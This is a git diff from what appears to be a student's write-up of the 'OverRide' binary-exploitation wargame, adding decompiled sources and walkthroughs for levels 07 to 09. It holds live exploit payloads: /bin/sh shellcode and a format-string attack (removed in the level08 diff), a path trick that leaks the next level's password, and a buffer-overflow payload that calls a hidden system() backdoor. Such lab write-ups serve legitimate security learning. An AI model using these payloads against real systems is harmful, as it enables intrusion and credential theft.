read_number(local_1bc); + } + else { + iVar2 = 4; + puVar4 = &local_28; + pbVar6 = &DAT_08048d66; + do { + if (iVar2 == 0) break; + iVar2 = iVar2 + -1; + bVar9 = *(byte *)puVar4 < *pbVar6; + bVar7 = *(byte *)puVar4 == *pbVar6; + puVar4 = (undefined4 *)((int)puVar4 + (uint)bVar10 * -2 + 1); + pbVar6 = pbVar6 + (uint)bVar10 * -2 + 1; + } while (bVar7); + if ((!bVar9 && !bVar7) == bVar9) { + if (local_14 == *(int *)(in_GS_OFFSET + 0x14)) { + return 0; + } + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + } + } + if (local_2c == 0) { + printf(" Completed %s command successfully\n",&local_28); + } + else { + printf(" Failed to do %s command\n",&local_28); + } + local_28 = 0; + local_24 = 0; + local_20 = 0; + local_1c = 0; + local_18 = 0; + } while( true ); +} diff --git a/level07/walkthrough b/level07/walkthrough index d2481d0..8db872e 100644 --- a/level07/walkthrough +++ b/level07/walkthrough @@ -1,3 +1,9 @@ +On peut voir dans le code grace a ghidra qu'on ecrit a l'addresse "index * 4 + array", la maniere dont l'asm le fait c'est index << 2 + array. On peut donc bypass la protection tout les 3 en ajoutant 2^31 qui n'est pas un multiple de 3 ((3k+n)%3 != 0 si n%3 != 0). A partir de ca on peut ecrire un shellcode dans la memoire, ensuite j'overide la got via l'ancienne methode. + + +Ici bas la methode que j'essayais de faire pendant des jours alors que ca marche pas mais ca aurait ete la classe.............. +--------------------------------------------------------------------------------- + -1040108880On peut ecrire que 8 octets sur 12 "/bin/sh" c'est 8 char avec le '\0' donc ok pour le modulo diff --git a/level08/Ressources/level08 b/level08/Ressources/level08 deleted file mode 100755 index 49adcdb..0000000 Binary files a/level08/Ressources/level08 and /dev/null differ diff --git a/level08/source b/level08/source new file mode 100644 index 0000000..44cf380 --- /dev/null +++ b/level08/source @@ -0,0 +1,113 @@ +void log_wrapper(FILE *param_1,char *param_2,char *param_3) +{ + char cVar1; + size_t sVar2; + ulong uVar3; + ulong uVar4; + char *pcVar5; + long in_FS_OFFSET; + byte bVar6; + undefined8 local_120; + char local_118 [264]; + long local_10; + + bVar6 = 0; + local_10 = *(long *)(in_FS_OFFSET + 0x28); + local_120 = param_1; + strcpy(local_118,param_2); + uVar3 = 0xffffffffffffffff; + pcVar5 = local_118; + do { + if (uVar3 == 0) break; + uVar3 = uVar3 - 1; + cVar1 = *pcVar5; + pcVar5 = pcVar5 + (ulong)bVar6 * -2 + 1; + } while (cVar1 != '\0'); + uVar4 = 0xffffffffffffffff; + pcVar5 = local_118; + do { + if (uVar4 == 0) break; + uVar4 = uVar4 - 1; + cVar1 = *pcVar5; + pcVar5 = pcVar5 + (ulong)bVar6 * -2 + 1; + } while (cVar1 != '\0'); + snprintf(local_118 + (~uVar4 - 1),0xfe - (~uVar3 - 1),param_3); + sVar2 = strcspn(local_118,"\n"); + local_118[sVar2] = '\0'; + fprintf(local_120,"LOG: %s\n",local_118); + if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return; +} + +undefined8 main(int param_1,undefined8 *param_2) +{ + char cVar1; + int __fd; + int iVar2; + FILE *pFVar3; + FILE *__stream; + ulong uVar4; + undefined8 *puVar5; + long in_FS_OFFSET; + byte bVar6; + char local_79; + undefined8 local_78; + undefined2 local_70; + char local_6e; + long local_10; + + bVar6 = 0; + local_10 = *(long *)(in_FS_OFFSET + 0x28); + local_79 = -1; + if (param_1 != 2) { + printf("Usage: %s filename\n",*param_2); + } + pFVar3 = fopen("./backups/.log","w"); + if (pFVar3 == (FILE *)0x0) { + printf("ERROR: Failed to open %s\n","./backups/.log"); + /* WARNING: Subroutine does not return */ + exit(1); + } + log_wrapper(pFVar3,"Starting back up: ",param_2[1]); + __stream = fopen((char *)param_2[1],"r"); + if (__stream == (FILE *)0x0) { + printf("ERROR: Failed to open %s\n",param_2[1]); + /* WARNING: Subroutine does not return */ + exit(1); + } + local_78 = 0x70756b6361622f2e; + local_70 = 0x2f73; + local_6e = '\0'; + uVar4 = 0xffffffffffffffff; + puVar5 = &local_78; + do { + if (uVar4 == 0) break; + uVar4 = uVar4 - 1; + cVar1 = *(char *)puVar5; + puVar5 = (undefined8 *)((long)puVar5 + (ulong)bVar6 * -2 + 1); + } while (cVar1 != '\0'); + strncat((char *)&local_78,(char *)param_2[1],99 - (~uVar4 - 1)); + __fd = open((char *)&local_78,0xc1,0x1b0); + if (__fd < 0) { + printf("ERROR: Failed to open %s%s\n","./backups/",param_2[1]); + /* WARNING: Subroutine does not return */ + exit(1); + } + while( true ) { + iVar2 = fgetc(__stream); + local_79 = (char)iVar2; + if (local_79 == -1) break; + write(__fd,&local_79,1); + } + log_wrapper(pFVar3,"Finished back up ",param_2[1]); + fclose(__stream); + close(__fd); + if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return 0; +} diff --git a/level08/walkthrough b/level08/walkthrough index 06b88df..87b70ad 100644 --- a/level08/walkthrough +++ b/level08/walkthrough @@ -1,44 +1,7 @@ -load shellcode in env with nop slide +On a un binaire qui prend le contenu d'un fichier et le copie colle dans un dossier backup. Si on essaye de le lancer sur le pass du level09 ca ne fonctionne pas a cause d'une histoire de path. On va donc utiliser le fait que le path est relatif et recreer un dossier backup dans /tmp avec backups/home/users/level09/ -level08@OverRide:~$ echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" > shellcode.bin -level08@OverRide:~$ export SHELLCODE=$(cat shellcode.bin) -level08@OverRide:~$ - - -(gdb) p (char *)getenv("SHELLCODE") -$1 = 0xffffffffffffe892
- -need to override ret pointer with 0xffffffffffffe892. For this we are going to write e892, then ffff 3 times. Kinda like level05. we will override log_wrapper ret addr cause its fastest. - -Better version (file doesn't need to exist as log_wrapper is called before fopen) - -level08@OverRide:~$ env -i SHELLCODE=$(cat shellcode.bin) /home/users/level08/level08 $(python -c "print('AAAABBXXXXCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK'+'%11\$9x'*20)") -ERROR: Failed to open AAAABBXXXXCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x -level08@OverRide:~$ cat backups/.log -LOG: Starting back up: AAAABBXXXXCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 -level08@OverRide:~$ - -with env -i : -Breakpoint 1, 0x0000000000400a5a in main () -(gdb) p (char *)getenv("SHELLCODE") -$1 = 0xffffffffffffef79
- - - -env -i SHELLCODE=$(cat shellcode.bin) /home/users/level08/level08 $(python -c "print('AAAABB\xc8\xeb\xff\xff\xff\x7f\x00\x00DDEEEEFFFFGGGGHHHHIIIIJJJJKKKK'+'%17lx'*10+'%n')") - - -actually its way simpler T_T : - -level08@OverRide:~$ mkdir -p /tmp/backups/home/users/level09/ -level08@OverRide:~$ cd /tmp -level08@OverRide:/tmp$ ~/level08 /home/users/level09/pass -ERROR: Failed to open /home/users/level09/pass -level08@OverRide:/tmp$ ~/level08 /home/users/level09/.pass -level08@OverRide:/tmp$ cat backups/ -home/ .log -level08@OverRide:/tmp$ cat backups/home/users/level09/.pass -fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S -level08@OverRide:/tmp$ exit -logout -Connection to localhost closed. +level08@OverRide:~$ mkdir -p /tmp/backups/home/users/level09/ +level08@OverRide:~$ cd /tmp +level08@OverRide:/tmp$ ~/level08 /home/users/level09/.pass +level08@OverRide:/tmp$ cat backups/home/users/level09/.pass +fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S diff --git a/level09/Ressources/level09 b/level09/Ressources/level09 deleted file mode 100755 index 57c0d8f..0000000 Binary files a/level09/Ressources/level09 and /dev/null differ diff --git a/level09/source b/level09/source new file mode 100644 index 0000000..d7c3a20 --- /dev/null +++ b/level09/source @@ -0,0 +1,82 @@ +void secret_backdoor(void) +{ + char local_88 [128]; + + fgets(local_88,0x80,stdin); + system(local_88); + return; +} + + +void set_username(long param_1) +{ + long lVar1; + undefined8 *puVar2; + undefined8 local_98 [17]; + int local_c; + + puVar2 = local_98; + for (lVar1 = 0x10; lVar1 != 0; lVar1 = lVar1 + -1) { + *puVar2 = 0; + puVar2 = puVar2 + 1; + } + puts(">: Enter your username"); + printf(">>: "); + fgets((char *)local_98,0x80,stdin); + for (local_c = 0; (local_c < 0x29 && (*(char *)((long)local_98 + (long)local_c) != '\0')); + local_c = local_c + 1) { + *(undefined *)(param_1 + 0x8c + (long)local_c) = *(undefined *)((long)local_98 + (long)local_c); + } + printf(">: Welcome, %s",param_1 + 0x8c); + return; +} + +void set_msg(char *param_1) +{ + long lVar1; + undefined8 *puVar2; + undefined8 local_408 [128]; + + puVar2 = local_408; + for (lVar1 = 0x80; lVar1 != 0; lVar1 = lVar1 + -1) { + *puVar2 = 0; + puVar2 = puVar2 + 1; + } + puts(">: Msg @Unix-Dude"); + printf(">>: "); + fgets((char *)local_408,0x400,stdin); + strncpy(param_1,(char *)local_408,(long)*(int *)(param_1 + 0xb4)); + return; +} + +void handle_msg(void) +{ + undefined local_c8 [140]; + undefined8 local_3c; + undefined8 local_34; + undefined8 local_2c; + undefined8 local_24; + undefined8 local_1c; + undefined4 local_14; + + local_3c = 0; + local_34 = 0; + local_2c = 0; + local_24 = 0; + local_1c = 0; + local_14 = 0x8c; + set_username(local_c8); + set_msg(local_c8); + puts(">: Msg sent!"); + return; +} + + +undefined8 main(void) +{ + puts( + "--------------------------------------------\n| ~Welcome to l33t-m$n ~ v1337 |\n- -------------------------------------------" + ); + handle_msg(); + return 0; +} diff --git a/level09/walkthrough b/level09/walkthrough index 7431a9f..39c0e23 100644 --- a/level09/walkthrough +++ b/level09/walkthrough @@ -2,6 +2,9 @@ python -c "print('a'*40+'\xff'+' '*208+'/bin/cat /home/users/end/.pass ;AAAIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTT\x8c\x48\x55\x55\x55\x55\x00\x00')" | env -i /home/users/level09/level09 +Avec ghidra on trouve une fonction cache secret backdoor, on va essayer de l'appeler. + +We notice an small breach on the snprintf, the size arguement is writable with the 41th character of the username, we put 0xFF because it is the largest, then we can to a ret to the secret backdoor function which calls system, with spaces and a cat of the last flag it works ! This should win :